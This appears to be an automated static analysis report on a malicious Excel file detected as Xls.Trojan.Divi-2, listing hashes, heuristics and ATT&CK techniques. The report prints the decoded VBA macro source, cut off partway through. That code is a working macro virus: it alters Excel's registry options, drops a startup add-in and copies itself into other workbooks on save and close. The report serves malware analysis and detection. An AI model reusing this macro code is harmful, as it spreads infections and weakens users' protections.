Xls.Trojan.Divi-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 380fc3c52b298f3a…

MALICIOUS

Office (OLE)

49.0 KB Created: 1999-02-08 09:24:15 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: b5b29ec92e11dd0d1cee481d4d9928d9 SHA-1: eb7d6eee44c2e0577c57a9441b7a799a0e313d01 SHA-256: 380fc3c52b298f3ab9e92807afdde03781352f0905987878e9e59d968416681a
300 Risk Score

Malware Insights

Xls.Trojan.Divi-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Excel file containing VBA macros, specifically a Workbook_Open macro, which is a common technique for executing malicious code upon opening. The VBA script attempts to establish persistence by writing a value to the registry key HKCU\Software\Microsoft\Office\8.0\Excel\Microsoft Excel with the value name IVID. This indicates a trojan designed to maintain access to the compromised system.

Heuristics 6

  • ClamAV: Xls.Trojan.Divi-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Divi-2
  • Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGE
    A CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 25,432 bytes but its declared streams total only 0 bytes — 25,432 bytes (100%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14820 bytes
SHA-256: b63e2b34239984a4f1c58995f8bdfbacbf8a007f3b116535b607ba94f2f00923
Detection
ClamAV: Xls.Trojan.Divi-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public run1, didvic As Boolean


Option Explicit



Private Const cstrSection     As String = "Software\Microsoft\Office\8.0\Excel\Microsoft Excel"
Private Const cstrEngine      As String = "874.XLS"
Private Const cstrModule      As String = "ThisWorkbook"
Private Const cstrKeyName     As String = "Options6"
Private Const cstrVolumeData  As String = "IVID"

Private Declare Function GetVolumeInformation Lib "KERNEL32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As Long, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As Long, ByVal nFileSystemNameSize As Long) As Long
Private Declare Function RegCloseKey Lib "ADVAPI32.DLL" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKeyEx Lib "ADVAPI32.DLL" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "ADVAPI32.DLL" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "ADVAPI32.DLL" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Private WithEvents mapp As Application




Private Sub Workbook_Open()
  Dim strEngine     As String
  Dim wbkEngine     As Workbook
  Dim cmdEngine     As Object
  Dim lngRegKey     As Long
  Dim lngRegType    As Long
  Dim lngRegValue   As Long
  Dim lngVolumeID   As Long
  On Error Resume Next
  If (RegOpenKeyEx(&H80000001, cstrSection, 0, &H2001F, lngRegKey) = 0) Then
    RegQueryValueEx lngRegKey, cstrKeyName, 0, lngRegType, lngRegValue, 4
    RegSetValueEx lngRegKey, cstrKeyName, 0, lngRegType, lngRegValue And Not 8, 4
    RegCloseKey lngRegKey
  End If
  strEngine = UCase$(Application.StartupPath + "\" + cstrEngine)
  If UCase$(Me.FullName) = strEngine Then
    Set mapp = Application
  ElseIf Len(Dir(strEngine)) = 0 Then
    Application.ScreenUpdating = False
    If Len(Dir(Application.StartupPath, vbDirectory)) = 0 Then MkDir Application.StartupPath
    Set wbkEngine = Workbooks.Add
    wbkEngine.IsAddin = True
    Intrude wbkEngine
    GetVolumeInformation Left$(strEngine, InStr(1, strEngine, "\")), 0, 0, lngVolumeID, 0, 0, 0, 0
    wbkEngine.CustomDocumentProperties.Add cstrVolumeData + Hex$(lngVolumeID), False, msoPropertyTypeString, ""
    wbkEngine.SaveAs strEngine, xlAddIn
    wbkEngine.Close
    If (lngRegValue And 8) = 8 Then
      Set cmdEngine = Me.VBProject.VBComponents(cstrModule).CodeModule
      cmdEngine.DeleteLines 1, cmdEngine.CountOfLines
      Me.Save
    End If
    Application.ScreenUpdating = True
  Else
    CopyVolumesData Workbooks(cstrEngine)
  End If
End Sub

Private Sub mapp_WorkbookBeforeSave(ByVal Wb As Excel.Workbook, ByVal SaveAsUI As Boolean, Cancel As Boolean)
  On Error Resume Next
  Intrude Wb
End Sub

Private Sub mapp_WorkbookBeforeClose(ByVal Wb As Excel.Workbook, Cancel As Boolean)
  On Error Resume Next
  If Len(Wb.Path) <> 0 Then If Intrude(Wb) Then Wb.Save
End Sub

Private Function Intrude(wbkTarget As Workbook) As Boolean
  Dim cmdSource As Object
  Dim cmdTarget As Object
  On Error Resume Next
  Intrude = False
  Set cmdSource = Me.VBProject.VBComponents(cstrModule).CodeModule
  Set cmdTarget = wbkTarget.VBProject.VBComponents(cstrModule).CodeModule
  If cmdTarget.CountOfLines <= 2 Then
    cmdTarget.DeleteLines 1, cmdSource.CountOfLines
    cmdTarget.AddFromString cmdSource.Lines(1, cmdSource.CountOfLine
... (truncated)
embedded_office_off000060a8.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0x60A8 25432 bytes
SHA-256: 0384f5b883bf4f3dc4946061e21fa6549de1c06e1f9ec162eb1191fc3aa4c12c

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